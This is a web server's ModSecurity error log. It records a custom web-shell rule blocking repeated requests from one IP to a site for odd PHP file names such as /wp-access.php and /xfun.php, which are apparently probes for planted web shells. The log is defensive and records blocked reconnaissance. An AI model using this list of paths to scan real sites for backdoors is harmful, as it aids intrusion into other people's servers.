[Sun Mar 29 01:29:54.673750 2026] [:error] [pid 39427:tid 39441] [client 158.23.144.198:60573] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/55b76.php"] [unique_id "acgQElvLf0RDUqcYq-Y8vQAAAAk"]
[Sun Mar 29 01:29:55.072855 2026] [:error] [pid 39427:tid 39448] [client 158.23.144.198:55623] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/55b76.php"] [unique_id "acgQE1vLf0RDUqcYq-Y8vwAAABA"]
[Sun Mar 29 01:29:55.477077 2026] [:error] [pid 39514:tid 39537] [client 158.23.144.198:53812] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/55b76.php"] [unique_id "acgQEykUyvlQod6qQu2KDAAAAMw"]
[Sun Mar 29 01:29:55.883147 2026] [:error] [pid 39429:tid 39487] [client 158.23.144.198:43054] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/55b76.php"] [unique_id "acgQE08pSj6sqgZaItnWBwAAAIE"]
[Sun Mar 29 01:29:56.287898 2026] [:error] [pid 39427:tid 39434] [client 158.23.144.198:43009] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/44.php"] [unique_id "acgQFFvLf0RDUqcYq-Y8wwAAAAI"]
[Sun Mar 29 01:29:56.724586 2026] [:error] [pid 39514:tid 39539] [client 158.23.144.198:43052] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/44.php"] [unique_id "acgQFCkUyvlQod6qQu2KEAAAAM4"]
[Sun Mar 29 01:29:57.226480 2026] [:error] [pid 39427:tid 39443] [client 158.23.144.198:34553] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/44.php"] [unique_id "acgQFVvLf0RDUqcYq-Y8xwAAAAs"]
[Sun Mar 29 01:29:57.748114 2026] [:error] [pid 39427:tid 39450] [client 158.23.144.198:34530] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/44.php"] [unique_id "acgQFVvLf0RDUqcYq-Y8yQAAABI"]
[Sun Mar 29 01:29:58.210921 2026] [:error] [pid 39429:tid 39490] [client 158.23.144.198:4308] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-access.php"] [unique_id "acgQFk8pSj6sqgZaItnWCwAAAIQ"]
[Sun Mar 29 01:29:58.661565 2026] [:error] [pid 39429:tid 39489] [client 158.23.144.198:55622] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-access.php"] [unique_id "acgQFk8pSj6sqgZaItnWDQAAAIM"]
[Sun Mar 29 01:29:59.202767 2026] [:error] [pid 39427:tid 39447] [client 158.23.144.198:55665] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-access.php"] [unique_id "acgQF1vLf0RDUqcYq-Y8zgAAAA8"]
[Sun Mar 29 01:29:59.639353 2026] [:error] [pid 39428:tid 39464] [client 158.23.144.198:42005] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-access.php"] [unique_id "acgQF6XMrozFMIaP8nL2swAAAEU"]
[Sun Mar 29 01:30:00.097473 2026] [:error] [pid 39429:tid 39494] [client 158.23.144.198:41999] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "acgQGE8pSj6sqgZaItnWDwAAAIg"]
[Sun Mar 29 01:30:00.576713 2026] [:error] [pid 39514:tid 39542] [client 158.23.144.198:4333] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "acgQGCkUyvlQod6qQu2KFAAAANE"]
[Sun Mar 29 01:30:01.224577 2026] [:error] [pid 39427:tid 39438] [client 158.23.144.198:58158] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "acgQGVvLf0RDUqcYq-Y80gAAAAY"]
[Sun Mar 29 01:30:01.828805 2026] [:error] [pid 39514:tid 39525] [client 158.23.144.198:43639] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "acgQGSkUyvlQod6qQu2KGQAAAME"]
[Sun Mar 29 01:30:02.453809 2026] [:error] [pid 39514:tid 39538] [client 158.23.144.198:63702] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "acgQGikUyvlQod6qQu2KHAAAAM0"]
[Sun Mar 29 01:30:02.902506 2026] [:error] [pid 39514:tid 39535] [client 158.23.144.198:43557] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "acgQGikUyvlQod6qQu2KHgAAAMo"]
[Sun Mar 29 01:30:03.424682 2026] [:error] [pid 39427:tid 39436] [client 158.23.144.198:43569] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "acgQG1vLf0RDUqcYq-Y81AAAAAQ"]
[Sun Mar 29 01:30:03.874567 2026] [:error] [pid 39427:tid 39433] [client 158.23.144.198:43624] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "acgQG1vLf0RDUqcYq-Y81gAAAAE"]
[Sun Mar 29 01:30:04.474386 2026] [:error] [pid 39427:tid 39444] [client 158.23.144.198:43536] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx78.php"] [unique_id "acgQHFvLf0RDUqcYq-Y82wAAAAw"]
[Sun Mar 29 01:30:04.866977 2026] [:error] [pid 39429:tid 39500] [client 158.23.144.198:50758] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx78.php"] [unique_id "acgQHE8pSj6sqgZaItnWEQAAAI4"]
[Sun Mar 29 01:30:05.271534 2026] [:error] [pid 39429:tid 39486] [client 158.23.144.198:55643] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx78.php"] [unique_id "acgQHU8pSj6sqgZaItnWFgAAAIA"]
[Sun Mar 29 01:30:05.784479 2026] [:error] [pid 39429:tid 39510] [client 158.23.144.198:37607] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx78.php"] [unique_id "acgQHU8pSj6sqgZaItnWGgAAAJg"]
[Sun Mar 29 01:30:06.389045 2026] [:error] [pid 39514:tid 39533] [client 158.23.144.198:43536] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xfun.php"] [unique_id "acgQHikUyvlQod6qQu2KJgAAAMg"]
[Sun Mar 29 01:30:07.028232 2026] [:error] [pid 39427:tid 39433] [client 158.23.144.198:58113] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xfun.php"] [unique_id "acgQH1vLf0RDUqcYq-Y84AAAAAE"]
[Sun Mar 29 01:30:07.557301 2026] [:error] [pid 39427:tid 39445] [client 158.23.144.198:50767] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xfun.php"] [unique_id "acgQH1vLf0RDUqcYq-Y84wAAAA0"]
[Sun Mar 29 01:30:08.057853 2026] [:error] [pid 39514:tid 39542] [client 158.23.144.198:4716] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xfun.php"] [unique_id "acgQICkUyvlQod6qQu2KKgAAANE"]
[Sun Mar 29 01:30:08.651481 2026] [:error] [pid 39514:tid 39536] [client 158.23.144.198:4830] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h2.php"] [unique_id "acgQICkUyvlQod6qQu2KLgAAAMs"]
[Sun Mar 29 01:30:09.286043 2026] [:error] [pid 39514:tid 39540] [client 158.23.144.198:4683] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h2.php"] [unique_id "acgQISkUyvlQod6qQu2KLwAAAM8"]
[Sun Mar 29 01:30:09.814370 2026] [:error] [pid 39429:tid 39497] [client 158.23.144.198:63708] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h2.php"] [unique_id "acgQIU8pSj6sqgZaItnWIwAAAIs"]
[Sun Mar 29 01:30:10.618486 2026] [:error] [pid 39514:tid 39539] [client 158.23.144.198:50786] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h2.php"] [unique_id "acgQIikUyvlQod6qQu2KOgAAAM4"]
[Sun Mar 29 01:30:11.157065 2026] [:error] [pid 39514:tid 39541] [client 158.23.144.198:43592] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wxfyf.php"] [unique_id "acgQIykUyvlQod6qQu2KPwAAANA"]
[Sun Mar 29 01:30:11.551134 2026] [:error] [pid 39429:tid 39505] [client 158.23.144.198:50814] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wxfyf.php"] [unique_id "acgQI08pSj6sqgZaItnWJwAAAJM"]
[Sun Mar 29 01:30:12.012875 2026] [:error] [pid 39514:tid 39543] [client 158.23.144.198:43628] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wxfyf.php"] [unique_id "acgQJCkUyvlQod6qQu2KQQAAANI"]
[Sun Mar 29 01:30:12.518230 2026] [:error] [pid 39429:tid 39486] [client 158.23.144.198:45548] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wxfyf.php"] [unique_id "acgQJE8pSj6sqgZaItnWLAAAAIA"]
[Sun Mar 29 01:30:12.973155 2026] [:error] [pid 39514:tid 39534] [client 158.23.144.198:61900] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/drhunthq.php"] [unique_id "acgQJCkUyvlQod6qQu2KSAAAAMk"]
[Sun Mar 29 01:30:13.542506 2026] [:error] [pid 39427:tid 39435] [client 158.23.144.198:37515] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/drhunthq.php"] [unique_id "acgQJVvLf0RDUqcYq-Y89AAAAAM"]
[Sun Mar 29 01:30:14.085010 2026] [:error] [pid 39514:tid 39549] [client 158.23.144.198:36494] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/drhunthq.php"] [unique_id "acgQJikUyvlQod6qQu2KSgAAANc"]
[Sun Mar 29 01:30:14.680815 2026] [:error] [pid 39514:tid 39533] [client 158.23.144.198:37626] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/drhunthq.php"] [unique_id "acgQJikUyvlQod6qQu2KTAAAAMg"]
[Sun Mar 29 01:30:15.288219 2026] [:error] [pid 39427:tid 39451] [client 158.23.144.198:37530] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "acgQJ1vLf0RDUqcYq-Y8-AAAABM"]
[Sun Mar 29 01:30:15.787714 2026] [:error] [pid 39514:tid 39545] [client 158.23.144.198:37509] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "acgQJykUyvlQod6qQu2KUQAAANQ"]
[Sun Mar 29 01:30:16.327183 2026] [:error] [pid 39428:tid 39474] [client 158.23.144.198:4758] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "acgQKKXMrozFMIaP8nL2ywAAAE8"]
[Sun Mar 29 01:30:16.838221 2026] [:error] [pid 39428:tid 39465] [client 158.23.144.198:36539] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "acgQKKXMrozFMIaP8nL2zgAAAEY"]
[Sun Mar 29 01:30:17.335458 2026] [:error] [pid 39427:tid 39441] [client 158.23.144.198:50032] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sale.php"] [unique_id "acgQKVvLf0RDUqcYq-Y8_QAAAAk"]
[Sun Mar 29 01:30:17.855461 2026] [:error] [pid 39428:tid 39469] [client 158.23.144.198:36487] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sale.php"] [unique_id "acgQKaXMrozFMIaP8nL20gAAAEo"]
[Sun Mar 29 01:30:18.360737 2026] [:error] [pid 39514:tid 39550] [client 158.23.144.198:37602] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sale.php"] [unique_id "acgQKikUyvlQod6qQu2KWgAAANg"]
[Sun Mar 29 01:30:18.811245 2026] [:error] [pid 39429:tid 39486] [client 158.23.144.198:61947] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sale.php"] [unique_id "acgQKk8pSj6sqgZaItnWNAAAAIA"]
[Sun Mar 29 01:30:19.334571 2026] [:error] [pid 39427:tid 39446] [client 158.23.144.198:43615] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "acgQK1vLf0RDUqcYq-Y8_wAAAA4"]
[Sun Mar 29 01:30:19.866399 2026] [:error] [pid 39429:tid 39509] [client 158.23.144.198:63693] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "acgQK08pSj6sqgZaItnWNgAAAJc"]
[Sun Mar 29 01:30:20.324711 2026] [:error] [pid 39429:tid 39502] [client 158.23.144.198:4795] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "acgQLE8pSj6sqgZaItnWOAAAAJA"]
[Sun Mar 29 01:30:20.738542 2026] [:error] [pid 39429:tid 39510] [client 158.23.144.198:37606] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "acgQLE8pSj6sqgZaItnWOQAAAJg"]
[Sun Mar 29 01:30:21.233411 2026] [:error] [pid 39429:tid 39505] [client 158.23.144.198:49994] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asd.php"] [unique_id "acgQLU8pSj6sqgZaItnWPQAAAJM"]
[Sun Mar 29 01:30:21.783404 2026] [:error] [pid 39429:tid 39491] [client 158.23.144.198:61899] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asd.php"] [unique_id "acgQLU8pSj6sqgZaItnWPgAAAIU"]
[Sun Mar 29 01:30:22.265831 2026] [:error] [pid 39514:tid 39533] [client 158.23.144.198:42019] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asd.php"] [unique_id "acgQLikUyvlQod6qQu2KaAAAAMg"]
[Sun Mar 29 01:30:22.879248 2026] [:error] [pid 39427:tid 39454] [client 158.23.144.198:43594] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asd.php"] [unique_id "acgQLlvLf0RDUqcYq-Y9BAAAABY"]
